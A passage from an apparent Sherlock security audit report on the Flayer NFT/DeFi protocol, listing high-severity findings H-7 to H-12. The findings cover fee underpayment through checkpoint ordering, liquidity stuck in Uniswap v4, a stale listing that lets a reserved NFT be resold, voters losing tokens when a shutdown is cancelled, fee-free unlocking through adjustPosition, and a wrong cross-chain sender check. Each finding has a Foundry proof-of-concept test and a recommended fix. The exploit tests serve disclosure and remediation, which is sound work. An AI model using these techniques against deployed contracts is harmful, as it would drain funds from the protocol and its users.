        // Get our interest rate from our utilization rate
```

```
        uint interestRate = this.calculateProtectedInterest(_utilizationRate);

        // Ensure we calculate the compounded factor with correct precision.
↪  `interestRate` is
        // in basis points per annum with 1e2 precision and we convert the annual
↪  rate to per
        // second rate.
       uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);

        // Calculate new compounded factor
-         compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate /
↪  1000 * _timePeriod)) / 1e18;
+         compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate /
↪  10000 * _timePeriod)) / 1e18;
    }
```

Issue H-7: User can pay less protected listing fees.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/243

Found by

dany.armstrong90, jsmi

Summary

`ProtectedListings.unlockProtectedListing()` function create checkpoint after decrease `listingCount[_collection]`. Therefore, when user unlock multiple protected listings, user will pay less fees for the second and thereafter listings than the first listing.

Vulnerability Detail

`ProtectedListings.unlockProtectedListing()` function is following.

```
    function unlockProtectedListing(address _collection, uint _tokenId, bool
↪   _withdraw) public lockerNotPaused {
        // Ensure this is a protected listing
        ProtectedListing memory listing = _protectedListings[_collection][_tokenId];

        // Ensure the caller owns the listing
        if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);

        // Ensure that the protected listing has run out of collateral
        int collateral = getProtectedListingHealth(_collection, _tokenId);
        if (collateral < 0) revert InsufficientCollateral();

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);
        uint denomination = collectionToken.denomination();
        uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;

        // Repay the loaned amount, plus a fee from lock duration
        uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
        collectionToken.burnFrom(msg.sender, fee);

        // We need to burn the amount that was paid into the Listings contract
        collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);

        // Remove our listing type
311:    unchecked { --listingCount[_collection]; }
```

```
        // Delete the listing objects
        delete _protectedListings[_collection][_tokenId];

        // Transfer the listing ERC721 back to the user
        if (_withdraw) {
            locker.withdrawToken(_collection, _tokenId, msg.sender);
            emit ListingAssetWithdraw(_collection, _tokenId);
        } else {
            canWithdrawAsset[_collection][_tokenId] = msg.sender;
        }

        // Update our checkpoint to reflect that listings have been removed
325:    _createCheckpoint(_collection);

        // Emit an event
        emit ListingUnlocked(_collection, _tokenId, fee);
    }
```

As can be seen, the above function decrease `listingCount[_collection]` in L311 before creating checkpoint in L325. However, creating checkpoint uses utilization rate and the utilization rate depends on `listingCount[_collection]`. Since `listingCount[_collection]` is already decreased at L311, the utilization rate is calculated incorrect and so the checkpoint will be incorrect.

PoC: Add the following test code into `ProtectedListings.t.sol`.

```
function test_unlockProtectedListingError() public {
    erc721a.mint(address(this), 0);
    erc721a.mint(address(this), 1);

    erc721a.setApprovalForAll(address(protectedListings), true);

    uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;

    // create protected listing for tokenId = 0 and tokenId = 1
    IProtectedListings.CreateListing[] memory _listings = new
↪   IProtectedListings.CreateListing[](1);
    _listings[0] = IProtectedListings.CreateListing({
        collection: address(erc721a),
        tokenIds: _tokenIds,
        listing: IProtectedListings.ProtectedListing({
            owner: payable(address(this)),
            tokenTaken: 0.4 ether,
            checkpoint: 0
        })
    });
    protectedListings.createListings(_listings);

    vm.warp(block.timestamp + 7 days);
```

```
    // unlock protected listing for tokenId = 0
    assertEq(protectedListings.unlockPrice(address(erc721a), 0),
↪   402485479451875840);
    locker.collectionToken(address(erc721a)).approve(address(protectedListings),
↪   402485479451875840);
    protectedListings.unlockProtectedListing(address(erc721a), 0, true);

    // unlock protected listing for tokenId = 0, but the unlock price for tokenId =
↪   1 is 402055890410801920 < 402485479451875840 for tokenId = 0.
    assertEq(protectedListings.unlockPrice(address(erc721a), 1),
↪   402055890410801920);
    locker.collectionToken(address(erc721a)).approve(address(protectedListings),
↪   402055890410801920);
    protectedListings.unlockProtectedListing(address(erc721a), 1, true);
}
```

In the above test code, we can see that user paid less fees for tokenId = 1 than tokenId = 0.

Impact

Users will pay less fees. It meanas loss of funds for the protocol.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329

Tool used

Manual Review

Recommendation

Change the order of decreasing `listingCount[_collection]` and creating checkpoint in `ProtectedListings.unlockProtectedListing()` function as follows.

```
    function unlockProtectedListing(address _collection, uint _tokenId, bool
↪   _withdraw) public lockerNotPaused {
        // Ensure this is a protected listing
        ProtectedListing memory listing = _protectedListings[_collection][_tokenId];

        // Ensure the caller owns the listing
        if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
```

```
        // Ensure that the protected listing has run out of collateral
        int collateral = getProtectedListingHealth(_collection, _tokenId);
        if (collateral < 0) revert InsufficientCollateral();

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);
        uint denomination = collectionToken.denomination();
        uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;

        // Repay the loaned amount, plus a fee from lock duration
        uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
        collectionToken.burnFrom(msg.sender, fee);

        // We need to burn the amount that was paid into the Listings contract
        collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);

        // Remove our listing type
--      unchecked { --listingCount[_collection]; }

        // Delete the listing objects
        delete _protectedListings[_collection][_tokenId];

        // Transfer the listing ERC721 back to the user
        if (_withdraw) {
            locker.withdrawToken(_collection, _tokenId, msg.sender);
            emit ListingAssetWithdraw(_collection, _tokenId);
        } else {
            canWithdrawAsset[_collection][_tokenId] = msg.sender;
        }

        // Update our checkpoint to reflect that listings have been removed
        _createCheckpoint(_collection);
++      unchecked { --listingCount[_collection]; }

        // Emit an event
        emit ListingUnlocked(_collection, _tokenId, fee);
    }
```

Issue H-8: Liquidity provided when initializing a collection in Locker.sol will be stuck in Uniswap, with no way for the user to recover it

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/248

Found by

0x37, BugPull, Feder, KingNFT, Ollam, ZeroTrust, merlinboii, zzykxx

Summary

UniswapImplementation.sol does not offer a way to withdraw the initial liquidity provided from the pool, causing the total loss of funds for any user who initializes a pool.

Root Cause

Interacting with Uniswap v4 requires an peripheral contract to unlock() the PoolManager, which then calls unlockCallback() on said peripheral contract. It is the job of unlockContract() to handle any interactions with PoolManager, including modifying liquidity. In UniswapImplementation.sol, the only time it ever calls unlock() on the PoolManager is once during initialization. After that, it is impossible for the Implementation contract to modify the liquidity of the Pool on behalf of the depositor.

Positions in PoolManager are credited to the contract that calls modifyLiquidity() on it. This means that the Implementation contract technically owns the liquidity provided by the user, and if the contract does not contain logic to withdraw funds on behalf of said user the funds are lost for good.

```
    function initializeCollection(address _collection, uint _amount0, uint
↪   _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
        // Ensure that only our {Locker} can call initialize
        if (msg.sender != address(locker)) revert CallerIsNotLocker();
        ...
        // Obtain the UV4 lock for the pool to pull in liquidity
@>      poolManager.unlock( // @audit this is the only place unlock is ever called
↪   in the Implementation contract
            abi.encode(CallbackData({
                poolKey: poolKey,
                liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
                    sqrtPriceX96: _sqrtPriceX96,
```

```
                    sqrtPriceAX96: TICK_SQRT_PRICEAX96,
                    sqrtPriceBX96: TICK_SQRT_PRICEBX96,
                    amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
                    amount1: poolParams.currencyFlipped ? _amount0 : _amount1
                }),
                liquidityTokens: _amount1,
                liquidityTokenSlippage: _amount1Slippage
            })
        ));
    }
```

```
    function _unlockCallback(bytes calldata _data) internal override returns (bytes
↪   memory) {
        ...
        // As this call should only come in when we are initializing our pool, we
        // don't need to worry about `take` calls, but only `settle` calls.
@>      (BalanceDelta delta,) = poolManager.modifyLiquidity({ // @audit only place
↪   liquidity is ever modified
            key: params.poolKey,
            params: IPoolManager.ModifyLiquidityParams({
                tickLower: MIN_USABLE_TICK,
                tickUpper: MAX_USABLE_TICK,
@>              liquidityDelta: int(uint(params.liquidityDelta)), // @audit
↪   liquidityDelta cast so that it can only ever be positive
                salt: ''
            }),
            hookData: ''
        });
```

This is in PoolManager.sol:

```
    function modifyLiquidity(
        PoolKey memory key,
        IPoolManager.ModifyLiquidityParams memory params,
        bytes calldata hookData
    ) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta callerDelta,
↪   BalanceDelta feesAccrued) {
        BalanceDelta principalDelta;
        (principalDelta, feesAccrued) = pool.modifyLiquidity(
            Pool.ModifyLiquidityParams({
@>              owner: msg.sender, // @audit owner of liquidity position set to the
↪   Implementation contract
                tickLower: params.tickLower,
                tickUpper: params.tickUpper,
                liquidityDelta: params.liquidityDelta.toInt128(),
                tickSpacing: key.tickSpacing,
                salt: params.salt
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

Users will lose all funds deposited as liquidity in the collection initialization process. That is a minimum loss of 10 NFTs plus whatever WETH was provided for the other side of the liquidity pool. This leaves zero incentive for anyone to initialize a collection on the protocol.

PoC

Proof of Concept is difficult for this one because the issue is about missing functionality, not broken functionality. However, the following code demonstrates a user initializing a collection and thereby funding a liquidity pool. Given that no function exists to allow the user to withdraw via the implementation contract, I've used PoolModifyLiquidityTest to provide the functionality, showing that it does not work for the original depositor (because it was deposited with a different peripheral contract) but does work for someone who deposits and withdraws via the same contract.

Please copy any paste `importPoolModifyLiquidityTestfrom'@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol';` to the top of Locker.t.sol, and the following test into the body of the file:

```
function test_InitializerLosesLiquidityProvided() public {

    address depositoor = makeAddr("depositoor");
    vm.startPrank(depositoor);

    ERC721Mock astroidDogs = new ERC721Mock();
    // Approve some of the ERC721Mock collections in our {Listings}
    locker.createCollection(address(astroidDogs), 'Astroid Dogs', 'ADOG', 0);
    address adog = address(locker.collectionToken(address(astroidDogs)));

    // mint the depositor enough dogs and eth, approve locker to spend
    uint[] memory tokenIds = new uint[](10);
    for (uint i = 0; i < 10; ++i) {
```

```
        astroidDogs.mint(depositoor, i);
        tokenIds[i] = i;
        astroidDogs.approve(address(locker), i);
    }
    deal(address(WETH), depositoor, 10e18);
    WETH.approve(address(locker), 10e18);

    // initialize collection
                                                                //slippage and
↪   squrtPrice //1:1
    locker.initializeCollection(address(astroidDogs), 10e18, tokenIds, 1,
↪   79228162514264337593543950336);

    // there is no method to withdraw via locker or implementation
    // does a peripheral contract let us do this?
    // using poolModifyPosition as a helper

    // peripheral contract to allow deposits and withdrawals
    PoolModifyLiquidityTest poolModifyPosition = new
↪   PoolModifyLiquidityTest(poolManager);

    PoolKey memory key =
↪   abi.decode(uniswapImplementation.getCollectionPoolKey(address(astroidDogs)),
↪   (PoolKey));
    IPoolManager.ModifyLiquidityParams memory params =
↪   IPoolManager.ModifyLiquidityParams({
        tickLower: TickMath.minUsableTick(key.tickSpacing),
        tickUpper: TickMath.maxUsableTick(key.tickSpacing),
        liquidityDelta: -100,
        salt: ""
    });

    // the user who initiated it is unable to withdraw it with a different
↪   peripheral contract
    // that's because the Implementation  contract owns the liquidity
    vm.expectRevert();
    poolModifyPosition.modifyLiquidity(key, params, "");

    // however, this peripheral contract would work for another user who deposits
↪   with it
    address secondDepositor = makeAddr("second");
    vm.startPrank(secondDepositor);

    // deal and approve funds
    deal(adog, secondDepositor, 1e18);
    deal(address(WETH), secondDepositor, 1e18);
    locker.collectionToken(address(astroidDogs)).approve(address(poolModifyPosition
↪   ), 10e18);
    WETH.approve(address(poolModifyPosition), 10e18);
```

```
    // deposit and withdraw - no problem for this user
    IPoolManager.ModifyLiquidityParams memory depositParams =
↪   IPoolManager.ModifyLiquidityParams({
        tickLower: TickMath.minUsableTick(key.tickSpacing),
        tickUpper: TickMath.maxUsableTick(key.tickSpacing),
        liquidityDelta: 1e18,
        salt: ""
    });
    poolModifyPosition.modifyLiquidity(key, depositParams, "");

    IPoolManager.ModifyLiquidityParams memory withdrawParams =
↪   IPoolManager.ModifyLiquidityParams({
        tickLower: TickMath.minUsableTick(key.tickSpacing),
        tickUpper: TickMath.maxUsableTick(key.tickSpacing),
        liquidityDelta: -1e18,
        salt: ""
    });
    poolModifyPosition.modifyLiquidity(key, withdrawParams, "");
}
```

Mitigation

Consider the following changes to UniswapImplementation.sol -

1. Store the user who initializes a collection in a mapping
2. Change _unlockCallback() such that it doesn't cast liquidityDelta to a uint (must allow negative values for withdrawals)
3. Add a remove liquidity function to Implementation.sol. It should check that only the initializer of a contract can call it and should call unlock() on the PoolManager, passing in the appropriate calldata to remove liquidity. It should then transfer funds received to the user.

These changes will allow a user to access the liquidity he or she initially provided.

Issue H-9: `_listing` mapping not deleted when calling `Listings::reserve` can lead to a token being sold when it shouldn't be for sale

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/252

Found by

0x37, 0xAlix2, 0xHappy, 0xNirix, BugPull, Feder, McToady, Ruhum, almantare, araj, blockchain555, h2134, jecikpo, kuprum, merlinboii, stuart_the_minion, utsav, valuevalk, zzykxx

Summary

When the `reserve` function is called in `Listings` a protected listing is created for the selected `_tokenId`, however while doing this the original `_listing` mapping for this token is not deleted in `Listings`. While the protected listing is active this is not a problem because `getListingPrice` will check the protected listing before reaching the old listing. However if the protected listing is removed this old listing will become active again.

This becomes especially problemative given the `ProtectedListings::unlockProtectedListing` function allows the user to not withdraw the token immediately, meaning the token will be in the `Locker` and can now be sold to a third party calling `Listings::fillListings`.

Vulnerability Detail

Consider the following steps:

1. User A lists token via `Listings::createListings`
2. User B creates a reserve on the token calling `Listings::reserve`
3. Later when User B is ready to fully pay off the token they call `ProtectedListings::unlockProtectedListing` however they set `_withdraw==false` as they will choose to withdraw the token later.
4. Now User C will be able to gain the token via the original (still active) listing by calling `Listings::fillListings`

Add the following test to `Listings.t.sol` to highlight this issue:

```
function test_Toad_abuseOldListing() public {
    // Get user A token
```

```
    address userA = makeAddr("userA");
    vm.deal(userA, 1 ether);
    uint256 _tokenId = 1199;
    erc721a.mint(userA, _tokenId);

    vm.startPrank(userA);
    erc721a.approve(address(listings), _tokenId);

    Listings.Listing memory listing = IListings.Listing({
        owner: payable(userA),
        created: uint40(block.timestamp),
        duration: VALID_LIQUID_DURATION,
        floorMultiple: 120
    });
    _createListing({
        _listing: IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(_tokenId),
            listing: listing
        })
    });

    vm.stopPrank();

    // User B calls Listings::reserve
    address userB = makeAddr("userB");
    uint256 startBalance = 10 ether;
    ICollectionToken token = locker.collectionToken(address(erc721a));
    deal(address(token), userB, startBalance);

    vm.warp(block.timestamp + 10);
    vm.startPrank(userB);
    token.approve(address(listings), startBalance);
    token.approve(address(protectedListings), startBalance);

    uint256 listingCountStart = listings.listingCount(address(erc721a));
    console.log("Listing count start", listingCountStart);

    listings.reserve({
        _collection: address(erc721a),
        _tokenId: _tokenId,
        _collateral: 0.2 ether
    });

    uint256 listingCountAfterReserve = listings.listingCount(address(erc721a));
    console.log("Listing count after reserve", listingCountAfterReserve);

    // User B later calls ProtectedListings::unlockProtectedListing with _withdraw
↪   == false
    vm.warp(block.timestamp + 1 days);
```

```
    protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
    vm.stopPrank();

    // Other user now calls Listings::fillListings using User As listing data and
↪   gets the token
    address userC = makeAddr("userC");
    deal(address(token), userC, startBalance);
    vm.startPrank(userC);
    token.approve(address(listings), startBalance);

    uint[][] memory tokenIdsOut = new uint[][](1);
    tokenIdsOut[0] = new uint[](1);
    tokenIdsOut[0][0] = _tokenId;


    Listings.FillListingsParams memory fillListings = IListings.FillListingsParams({
        collection: address(erc721a),
        tokenIdsOut: tokenIdsOut
    });
    listings.fillListings(fillListings);
    vm.stopPrank();

    // Confirm User C is now owner of the token
    assertEq(erc721a.ownerOf(_tokenId), userC);

    // Confirm User C spent 1.2 collection tokens to buy
    uint256 endBalanceUserC = token.balanceOf(userC);
    console.log("User C End Bal", endBalanceUserC);

    // Confirm User B has lost ~1.2 collection tokens
    uint256 endBalanceUserB = token.balanceOf(userB);
    console.log("User B End Bal", endBalanceUserB);

    // Confirm User A has been paid difference between listingPrice & floor twice
↪   (approx 1.4x floor despite listing a 1.2)
    uint256 endBalanceUserA = token.balanceOf(userA);
    uint256 escrowBalUserA = listings.balances(userA, address(token));
    console.log("User A End Bal", endBalanceUserA);
    console.log("EscBal User A ", escrowBalUserA);

    // Confirm listing count decremented twice causes underflow
    uint256 listingCountEnd = listings.listingCount(address(erc721a));
    console.log("Listing count end", listingCountEnd);
}
```

Impact

This series of actions has the following effects on the users involved:

- User A gets paid the difference between their listing price and floor price twice (during both User B and User C's purchases)
- User B pays the full price of the token from User A but does not get the NFT
- User C pays the full price of the token from User A and gets the NFT

Additionally during this process `listingCount[_collection]` gets decremented twice, potentially leading to an underflow as the value is changed in an `unchecked` block. This incorrect internal accounting can later cause issues if `CollectionShutdown` attempts to sunset a collection as it's `hasListings` check when sunsetting a collection will be incorrect, potentially sunsetting a collection while listings are still live.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690

Tool used

Manual Review

Recommendation

Just as in `_fillListing` and `cancelListing` functions, when `reserve` is call the existing `_listing` mapping for the specified `_tokenId` should be deleted as so:

```
    function reserve(address _collection, uint _tokenId, uint _collateral) public
↪   nonReentrant lockerNotPaused {
        // -- Snip --

        // Check if the listing is a floor item and process additional logic if
↪   there
        // was an owner (meaning it was not floor, so liquid or dutch).
        if (oldListing.owner != address(0)) {
            // We can process a tax refund for the existing listing if it isn't a
↪   liquidation
            if (!_isLiquidation[_collection][_tokenId]) {
                (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
                if (_fees != 0) {
                    emit ListingFeeCaptured(_collection, _tokenId, _fees);
                }
            }

            // If the floor multiple of the original listings is different, then
↪   this needs
            // to be paid to the original owner of the listing.
            uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
```

```
            if (listingPrice > listingFloorPrice) {
                unchecked {
                    collectionToken.transferFrom(msg.sender, oldListing.owner,
 ↪  listingPrice - listingFloorPrice);
                }
            }

+           delete _listings[_collection][_tokenId]

            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }
        }

        // -- Snip --
    }
```

This will ensure that even if the token's new protected listing is removed the stale listing will not be accessible.

Issue H-10: The Users who voted for collection shutdown will lose their collection tokens by cancelling the shutdown

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/261

Found by

0xAlix2, 0xHappy, 0xc0ffEE, Audinarey, Aymen0909, BADROBINX, BugPull, Hearmen, Limbooo, McToady, Ragnarok, almantare, araj, asui, blockchain555, cawfree, ctf_sec, dany.armstrong90, g, merlinboii, onthehunt, steadyman, stuart_the_minion, utsav, ydlee, zzykxx

Summary

When a user votes for collection shutdown, the `CollectionShutdown` contract gathers the whole balance from the user. However, when cancelling the shutdown process, the contract doesn't refund the user's votes.

Vulnerability Detail

The function gathers the whole balance of the collection token from a voter.

```
function _vote(address _collection, CollectionShutdownParams memory params)
↪   internal returns (CollectionShutdownParams memory) {
    uint userVotes = params.collectionToken.balanceOf(msg.sender);
    if (userVotes == 0) revert UserHoldsNoTokens();

    // Pull our tokens in from the user
    params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
    ... ...
}
```

But in the function, it does not refund the voters tokens.

```
function cancel(address _collection) public whenNotPaused {
    // Ensure that the vote count has reached quorum
    CollectionShutdownParams memory params = _collectionParams[_collection];
    if (!params.canExecute) revert ShutdownNotReachedQuorum();

    // Check if the total supply has surpassed an amount of the initial required
    // total supply. This would indicate that a collection has grown since the
```

```
    // initial shutdown was triggered and could result in an unsuspected
↪   liquidation.
    if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 **
↪   locker.collectionToken(_collection).denomination()) {
        revert InsufficientTotalSupplyToCancel();
    }

    // Remove our execution flag
    delete _collectionParams[_collection];
    emit CollectionShutdownCancelled(_collection);
}
```

Proof-Of-Concept

Here is the testcase of the POC:

To bypass the total supply vs shutdown votes restriction, added the following line to the test case:

```
collectionToken.mint(address(10), _additionalAmount);
```

The whole test case is:

```
function test_CancelShutdownNotRefund() public withQuorumCollection {
    uint256 _additionalAmount = 1 ether;
    // Confirm that we can execute with our quorum-ed collection
    assertCanExecute(address(erc721b), true);

    vm.prank(address(locker));
    collectionToken.mint(address(10), _additionalAmount);

    // Cancel our shutdown
    collectionShutdown.cancel(address(erc721b));

    // Now that we have cancelled the shutdown process, we should no longer
    // be able to execute the shutdown.
    assertCanExecute(address(erc721b), false);

    console.log("Address 1 balance after:", collectionToken.balanceOf(address(1)));
    console.log("Address 2 balance after:", collectionToken.balanceOf(address(2)));
}
```

Here are the logs after running the test:

```
$ forge test --match-test test_CancelShutdownNotRefund -vv
[] Compiling...
[] Compiling 1 files with Solc 0.8.26
[] Solc 0.8.26 finished in 8.81s
```

```
Compiler run successful!

Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_CancelShutdownNotRefund() (gas: 390566)
Logs:
  Address 1 balance after: 0
  Address 2 balance after: 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.29s (454.80µs CPU
↪  time)

Ran 1 test suite in 8.29s (8.29s CPU time): 1 tests passed, 0 failed, 0 skipped (1
↪  total tests)
```

As can be seen from the logs, the voters(1, 2) were not refunded their tokens.

Impact

Shutdown Voters will be ended up losing their whole collection tokens by cancelling the shutdown.

Code Snippet

utils/CollectionShutdown.sol#L390-L405

Tool used

Manual Review

Recommendation

The problem can be fixed by implementing following:

1. Add new state variable to the contract that records all voters

```
address[] public votersList;
```

2. Update the `_vote()` function like below:

```
    function _vote(address _collection, CollectionShutdownParams memory params)
↪   internal returns (CollectionShutdownParams memory) {
        ... ...
        // Register the amount of votes sent as a whole, and store them against the
↪   user
        params.shutdownVotes += uint96(userVotes);
```

```
        // Register the amount of votes for the collection against the user
+       if (shutdownVoters[_collection][msg.sender] == 0)
+           votersList.push(msg.sender);
        unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
        ... ...
    }
```

3. Add the new code section to the `reclaimVote()` function, that removes the sender from the `votersList`.
4. Update the `cancel()` function like below:

```
    function cancel(address _collection) public whenNotPaused {
        ... ...
        if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 **
↪   locker.collectionToken(_collection).denomination()) {
            revert InsufficientTotalSupplyToCancel();
        }

+       uint256 i;
+       uint256 votersLength = votersList.length;
+       for (; i < votersLength; i ++) {
+           params.collectionToken.transfer(
+               votersList[i],
+               shutdownVoters[_collection][votersList[i]]
+           );
+       }

        // Remove our execution flag
        delete _collectionParams[_collection];
+       delete votersList;
        emit CollectionShutdownCancelled(_collection);
    }
```

After running the testcase on the above update, the user voters are able to get their own votes:

```
$ forge test --match-test test_CancelShutdownNotRefund -vv
[⠊] Compiling...
[⠒] Compiling 3 files with Solc 0.8.26
[⠢] Solc 0.8.26 finished in 8.70s
Compiler run successful!

Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_CancelShutdownNotRefund() (gas: 486318)
Logs:
  Address 1 balance after: 1000000000000000000
  Address 2 balance after: 1000000000000000000
```

```
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.46s (526.80µs CPU
↪  time)

Ran 1 test suite in 3.46s (3.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1
↪  total tests)
```

Issue H-11: User can unlock protected listing without paying any fee.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/269

Found by

0x37, OpaBatyo, dany.armstrong90, g, jecikpo, onthehunt, zzykxx

Summary

`ProtectedListings.adjustPosition()` function adjust `listing.tokenTaken` without considering compounded factor. Exploiting this vulnerability, user can unlock protected listing without paying any fee.

Vulnerability Detail

`ProtectedListings.adjustPosition()` function is following.

```
    function adjustPosition(address _collection, uint _tokenId, int _amount) public
↪   lockerNotPaused {
        // Ensure we don't have a zero value amount
        if (_amount == 0) revert NoPositionAdjustment();

        // Load our protected listing
        ProtectedListing memory protectedListing =
↪   _protectedListings[_collection][_tokenId];

        // Make sure caller is owner
        if (protectedListing.owner != msg.sender) revert
↪   CallerIsNotOwner(protectedListing.owner);

        // Get the current debt of the position
        int debt = getProtectedListingHealth(_collection, _tokenId);

        // Calculate the absolute value of our amount
        uint absAmount = uint(_amount < 0 ? -_amount : _amount);

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // Check if we are decreasing debt
        if (_amount < 0) {
            // The user should not be fully repaying the debt in this way. For this
↪   scenario,
```

```
            // the owner would instead use the `unlockProtectedListing` function.
            if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert
↪   IncorrectFunctionUse();

            // Take tokens from the caller
            collectionToken.transferFrom(
                msg.sender,
                address(this),
                absAmount * 10 ** collectionToken.denomination()
            );

            // Update the struct to reflect the new tokenTaken, protecting from
↪   overflow
399:        _protectedListings[_collection][_tokenId].tokenTaken -=
↪   uint96(absAmount);
        }
        // Otherwise, the user is increasing their debt to take more token
        else {
            // Ensure that the user is not claiming more than the remaining
↪   collateral
            if (_amount > debt) revert InsufficientCollateral();

            // Release the token to the caller
            collectionToken.transfer(
                msg.sender,
                absAmount * 10 ** collectionToken.denomination()
            );

            // Update the struct to reflect the new tokenTaken, protecting from
↪   overflow
413:        _protectedListings[_collection][_tokenId].tokenTaken +=
↪   uint96(absAmount);
        }

        emit ListingDebtAdjusted(_collection, _tokenId, _amount);
    }
```

As can be seen in L399 and L413, `_protectedListings[_collection][_tokenId].tokenTaken` is updated without considering compounded factor. Exploiting this vulnerability, user can unlock protected listing without paying any fee.

PoC: Add the following test code into `ProtectedListings.t.sol`.

```
function test_adjustPositionError() public {
    erc721a.mint(address(this), 0);

    erc721a.setApprovalForAll(address(protectedListings), true);

    uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;
```

```
    IProtectedListings.CreateListing[] memory _listings = new
↪   IProtectedListings.CreateListing[](1);
    _listings[0] = IProtectedListings.CreateListing({
        collection: address(erc721a),
        tokenIds: _tokenIdToArray(0),
        listing: IProtectedListings.ProtectedListing({
            owner: payable(address(this)),
            tokenTaken: 0.4 ether,
            checkpoint: 0
        })
    });
    protectedListings.createListings(_listings);

    vm.warp(block.timestamp + 7 days);

    // unlock protected listing for tokenId = 0
    assertEq(protectedListings.unlockPrice(address(erc721a), 0),
↪   402055890410801920);
    locker.collectionToken(address(erc721a)).approve(address(protectedListings),
↪   0.4 ether);
    protectedListings.adjustPosition(address(erc721a), 0, -0.4 ether);
    assertEq(protectedListings.unlockPrice(address(erc721a), 0), 0);
    protectedListings.unlockProtectedListing(address(erc721a), 0, true);
}
```

In the above test code, we can see that `unlockPrice(address(erc721a),0)` is `402055890410801920`, but after calling `adjustPosition(address(erc721a),0,-0.4ether)`, `unlockPrice(address(erc721a),0)` decreases to `0`. So we unlocked protected listing paying only `0.4ether` without paying any fee.

Impact

User can unlock protected listing without paying any fee. It means loss of funds for the protocol. On the other hand, if user increase `tokenTaken` in `adjustPosition()` function, increasement of fee will be inflated by compounded factor. it means loss of funds for the user.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366-L417

Tool used

Manual Review

Recommendation

Adjust `tokenTaken` considering compounded factor in `ProtectedListings.adjustPosition()` function. That is, divide `absAmount` by compounded factor before updating `tokenTaken`.

Issue H-12: InfernalRiftBelow.thresholdCross verify the wrong msg.sender

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/405

The protocol has acknowledged this issue.

Found by

Ali9955, Tendency, ZeroTrust, novaman33

Summary

`InfernalRiftBelow.thresholdCross` verify the wrong `msg.sender`, `thresholdCross` will fail to be called, resulting in the loss of user assets.

Vulnerability Detail

`thresholdCross` determines whether `msg.sender` is `expectedAliasedSender`:

```
address expectedAliasedSender = address(uint160(INFERNAL_RIFT_ABOVE) +
↪  uint160(0x1111000000000000000000000000000000001111));
// Ensure the msg.sender is the aliased address of {InfernalRiftAbove}
if (msg.sender != expectedAliasedSender) {
    revert CrossChainSenderIsNotRiftAbove();
}
```

but in fact the function caller should be `RELAYER_ADDRESS`, In `sudoswap`, `crossTheThreshold` check whether `msg.sender` is `RELAYER_ADDRESS`: https://github.com/sudoswap/InfernalRift/blob/7696827b3221929b3fa563692bd4c5d73b20528e/src/InfernalRiftBelow.sol#L56

L1 across chain message through the `PORTAL.depositTransaction`, rather than `L1_CROSS_DOMAIN_MESSENGER`.

To avoid confusion, use in L1 should all `L1_CROSS_DOMAIN_MESSENGER.sendMessage` to send messages across the chain, avoid the use of low level `PORTAL.depositTransaction` function.

```
function crossTheThreshold(ThresholdCrossParams memory params) external payable {
        ......
        // Send package off to the portal
        PORTAL.depositTransaction{value: msg.value}(
            INFERNAL_RIFT_BELOW,
            0,
            params.gasLimit,
            false,
```

```
            abi.encodeCall(InfernalRiftBelow.thresholdCross, (package,
↪   params.recipient))
        );

        emit BridgeStarted(address(INFERNAL_RIFT_BELOW), package, params.recipient);
    }
```

Impact

When transferring nft across chains,`thresholdCross` cannot be called in L2, resulting in loss of user assets.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L135-L145

Tool used

Manual Review

Recommendation

```
// Validate caller is cross-chain
if (msg.sender != RELAYER_ADDRESS) { //or L2_CROSS_DOMAIN_MESSENGER
    revert NotCrossDomainMessenger();
}

// Validate caller comes from {InfernalRiftBelow}
